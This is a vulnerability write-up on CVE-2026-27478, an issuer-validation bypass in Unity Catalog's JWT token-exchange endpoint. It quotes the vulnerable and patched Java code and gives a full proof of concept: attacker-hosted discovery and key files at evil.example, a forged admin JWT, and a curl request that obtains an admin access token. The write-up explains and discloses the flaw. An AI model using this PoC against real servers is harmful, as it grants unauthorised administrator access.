Unity Catalog's token-exchange endpoint reads the iss claim out of the incoming JWT, treats it as a URL, fetches <iss>/.well-known/openid-configuration, follows the jwks_uri from that document to a key, and verifies the JWT's signature with that key. The caller writes iss. The caller hosts the document at iss. The caller hosts the JWKS at jwks_uri. The signature the verifier checks proves the caller could host two JSON files. CVE-2026-27478 is what happens when that proof is treated as authentication.
CVE-2026-27478: Unity Catalog's JWT Verifier Asks the Token Where Its Key Lives
patterns
cve
proof of concept
The verifier asks the token where its key lives
CVE-2026-27478 names a JWT issuer-validation bypass in Unity Catalog versions up to and including 0.4.0. The handler is POST /api/1.0/unity-control/auth/tokens in server/src/main/java/io/unitycatalog/server/service/AuthService.java, the OAuth 2.0 token-exchange endpoint. The pre-patch body, from v0.4.0, after the grant-type and token-type sanity checks:
DecodedJWT decodedJWT = JWT.decode(form.getSubjectToken());
String issuer = decodedJWT.getIssuer();
String keyId = decodedJWT.getKeyId();
LOGGER.debug("Validating token for issuer: {} and keyId: {}", issuer, keyId);
JWTVerifier jwtVerifier = jwksOperations.verifierForIssuerAndKey(issuer, keyId);
decodedJWT = jwtVerifier.verify(decodedJWT);
verifyPrincipal(decodedJWT);JWT.decode parses the bearer token without checking the signature; it returns the header and payload claims as a DecodedJWT. decodedJWT.getIssuer() returns the iss claim verbatim. That string is passed straight into jwksOperations.verifierForIssuerAndKey(issuer, keyId). The verifier the helper returns will verify the JWT's signature with whatever key the helper finds. There is no other input to the key-selection step.
What loadJwkProvider does with the URL
JwksOperations.loadJwkProvider(issuer) in v0.4.0, abridged to the external-issuer branch the token-exchange endpoint takes:
@SneakyThrows
public JwkProvider loadJwkProvider(String issuer) {
if (issuer.equals(INTERNAL)) {
Path certsFile = securityContext.getCertsFile();
return new JwkProviderBuilder(certsFile.toUri().toURL()).cached(false).build();
} else {
if (!issuer.startsWith("https://") && !issuer.startsWith("http://")) {
issuer = "https://" + issuer;
}
String wellKnownConfigUrl = issuer;
if (!wellKnownConfigUrl.endsWith("/")) {
wellKnownConfigUrl += "/";
}
var path = wellKnownConfigUrl + ".well-known/openid-configuration";
String response = webClient.get(path).aggregate().join().contentUtf8();
Map<String, Object> configMap = mapper.readValue(response, new TypeReference<>() {});
String configIssuer = (String) configMap.get("issuer");
String configJwksUri = (String) configMap.get("jwks_uri");
if (!configIssuer.equals(issuer)) {
throw new OAuthInvalidRequestException(ErrorCode.ABORTED,
"Issuer doesn't match configuration");
}
if (configJwksUri == null) {
throw new OAuthInvalidRequestException(ErrorCode.ABORTED, "JWKS configuration missing");
}
return new JwkProviderBuilder(URI.create(configJwksUri).toURL()).cached(false).build();
}
}The INTERNAL branch returns a key from disk for tokens Unity Catalog issued to itself. The else branch is the only path inbound tokens from external identity providers take. The function does no inspection of issuer other than ensuring it has a scheme; anything that resolves to an HTTP or HTTPS URL is accepted. Every fact in the rest of the function descends from the document at <issuer>/.well-known/openid-configuration, which the server fetches over plain HTTP from whichever host issuer names.
The two checks that follow look like protection. They are not.
The first check, if (!configIssuer.equals(issuer)), compares the iss claim from the JWT to the issuer field of the OIDC discovery document. Both strings come from the caller. The caller writes the JWT's iss. The caller hosts the document at <iss>/.well-known/openid-configuration. The caller writes the document's issuer field. The check passes when the caller is consistent with themselves.
The second check, if (configJwksUri == null), rejects requests where the OIDC document does not name a key location. The caller writes the document. The caller fills in jwks_uri.
The final line builds a JwkProvider from configJwksUri, fetches the JWKS from that URL, and returns a verifier. The verifier checks two things: the algorithm matches a supported RSA variant, and the JWT's signature decodes against a key the caller served.
The signature proves the caller can host JSON
The full attack is two static files and one curl. The attacker hosts a discovery document at any URL the Unity Catalog server can reach:
GET https://evil.example/.well-known/openid-configuration
{
"issuer": "https://evil.example",
"jwks_uri": "https://evil.example/jwks.json"
}And a JWKS at the URI named above:
GET https://evil.example/jwks.json
{
"keys": [
{
"kty": "RSA",
"kid": "evil-1",
"alg": "RS256",
"n": "<base64url(modulus of attacker public key)>",
"e": "AQAB"
}
]
}The attacker signs a JWT with the matching private key:
{ "alg": "RS256", "kid": "evil-1", "typ": "JWT" }
.
{
"iss": "https://evil.example",
"sub": "admin",
"email": "admin",
"iat": 1763000000,
"exp": 1763003600
}
.
<RSA-SHA256 signature over header.payload with the attacker private key>And sends it:
curl -X POST https://uc.victim/api/1.0/unity-control/auth/tokens \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'grant_type=urn:ietf:params:oauth:grant-type:token-exchange' \
-d 'requested_token_type=urn:ietf:params:oauth:token-type:access_token' \
-d 'subject_token_type=urn:ietf:params:oauth:token-type:access_token' \
-d "subject_token=$JWT"On the server: JWT.decode reads iss=https://evil.example from the token. loadJwkProvider("https://evil.example") fetches /.well-known/openid-configuration from evil.example, parses it, sees issuer=https://evil.example matching the request's iss, sees jwks_uri=https://evil.example/jwks.json. Fetches the JWKS. Pulls the public key for kid=evil-1. Builds JWT.require(Algorithm.RSA256(pubkey, null)).withIssuer("https://evil.example"). Calls verify. The signature decodes against the attacker's public key, because the attacker signed with the matching private key. The verifier's withIssuer matches the JWT's iss. Verification passes.
verifyPrincipal reads the email claim, sees admin, returns. The server calls securityContext.createAccessToken(decodedJWT) and returns an access token signed by Unity Catalog's own internal signing key. The attacker now holds a Unity Catalog access token scoped to the admin principal, valid against every endpoint the server's AuthDecorator guards.
The signature on the inbound JWT proved exactly one thing: the caller could host two JSON documents at a URL they put in iss. The verifier treated that as authentication.
This is the shape the pattern Caller Chosen Key names. We have seen it twice already: RestroPress signed JWTs with an HMAC key the caller supplied in a header, and Nginx-UI verified backup manifests with a key the caller embedded in the backup itself. Unity Catalog hosts the asymmetric, network-mediated version: the key is not on the request body, the key is at a URL the request names.
The admin branch is a separate footgun
verifyPrincipal after the signature check:
private void verifyPrincipal(DecodedJWT decodedJWT) {
String subject =
decodedJWT
.getClaims()
.getOrDefault(JwtClaim.EMAIL.key(), decodedJWT.getClaim(JwtClaim.SUBJECT.key()))
.asString();
LOGGER.debug("Validating principal: {}", subject);
if (subject.equals("admin")) {
LOGGER.debug("admin always allowed");
return;
}
try {
User user = userRepository.getUserByEmail(subject);
if (user != null && user.getState() == User.StateEnum.ENABLED) {
LOGGER.debug("Principal {} is enabled", subject);
return;
}
} catch (Exception e) {
// IGNORE
}
throw new OAuthInvalidRequestException(
ErrorCode.INVALID_ARGUMENT, "User not allowed: " + subject);
}The function reads email if present and falls back to sub. The string is compared to the literal "admin". Any token that survives signature verification and carries email=admin is admitted as admin, with no lookup against the user database. The admin always allowed branch was written so an operator could bootstrap the system using the admin token in etc/conf/token.txt before any user has been added. With caller-chosen-key in play upstream, it becomes "any JWT the caller forges that claims email=admin is admin."
The v0.4.1 patch addresses the caller-chosen-key shape by gating issuer at an allowlist. It does not remove the admin always allowed branch. The branch sits in AuthService.java in v0.4.1 byte-for-byte identical, with an authentication gate now in front of it instead of authentication theater.
The Javadoc named this in the first commit
The handler was introduced in PR #277, "Simple Token based access control and Oauth2 authentication," merged on commit 9717a3b dated August 26, 2024. The Javadoc on grantToken in that commit reads:
* <p>Currently the issuer for the incoming token to validate is not constrained to a specific
* identity provider, rather as long as the token is signed by the matching issuer the validation
* succeeds.
*
* <p>Eventually this should be constrained to a specific identity provider and even require that
* the incoming identity (email, subject) matches a specific user in the system, once a user
* management system is in place.The fix shipped in commit 89b91863 on March 12, 2026, as part of "Backport changes to branch-0.4 to prepare for release 0.4.1." Eighteen and a half months separate the comment naming the gap from the code closing it. During that window, the comment was the API-documentation Javadoc directly above the route handler, the prose every downstream developer reading the file consulted to understand what POST /tokens does. It is not commented-out code, it is not a stray // TODO deep inside a method, it is the public contract of the endpoint. The Javadoc described the bug correctly and the bug shipped anyway.
This is the shape the pattern Todo That Shipped names. The fix was written as English, by the author, in 2024. The English remained where the author put it for eighteen and a half months, accurate the whole time.
The patch names the threat the original code did not have a model for
The v0.4.1 diff that closes CVE-2026-27478 replaces both the Javadoc and the body. The Javadoc now reads:
* <p>The issuer of the incoming token must be in the configured allowlist
* (server.allowed-issuers) and the token must contain a valid audience claim matching the
* configured audiences (server.audiences). Both configurations are required when authorization is
* enabled.And the body adds an allowlist check before the JWKS fetch:
+ List<String> allowedIssuers = serverProperties.getAllowedIssuers();
+ if (allowedIssuers.isEmpty()) {
+ throw new OAuthInvalidRequestException(
+ ErrorCode.INVALID_ARGUMENT,
+ "No allowed issuers configured. Set server.allowed-issuers in server.properties");
+ }
+
+ List<String> audiences = serverProperties.getAudiences();
+ if (audiences.isEmpty()) {
+ throw new OAuthInvalidRequestException(
+ ErrorCode.INVALID_ARGUMENT,
+ "No audiences configured. Set server.audiences in server.properties");
+ }
DecodedJWT decodedJWT = JWT.decode(form.getSubjectToken());
String issuer = decodedJWT.getIssuer();
+
+ // Validate issuer is in allowlist BEFORE fetching JWKS
+ if (!allowedIssuers.contains(issuer)) {
+ throw new OAuthInvalidRequestException(ErrorCode.UNAUTHENTICATED, "Invalid issuer");
+ }The allowlist check sits between the JWT decode and the JWKS fetch. The server now refuses to consult an OIDC document whose URL the operator has not pre-authorized. verifierForIssuerAndKey also gains an audiences parameter and enforces withAnyOfAudience, which the v0.4.0 verifier never called. Tokens minted by a real IdP for some other application no longer trade for Unity Catalog access by accident.
The new operator docs in docs/server/auth.md are explicit:
server.allowed-issuers: Comma-separated list of allowed token issuers (exact match). Tokens from issuers not in this list will be rejected. This prevents attackers from using their own identity provider to forge tokens.
The fix is a configuration property that defaults to empty and refuses to issue tokens when empty. Operators who upgrade to v0.4.1 without setting server.allowed-issuers will see "No allowed issuers configured" and fail closed. The threat model is one line of documentation and one allowlist check. It shipped in March 2026. The Javadoc that asked for it shipped in August 2024.
PoC: GHSA-qqcj-rghw-829x
The signature on the inbound JWT proves the caller can host a JSON document at the URL they chose. In v0.4.0 the server treated that proof as authentication.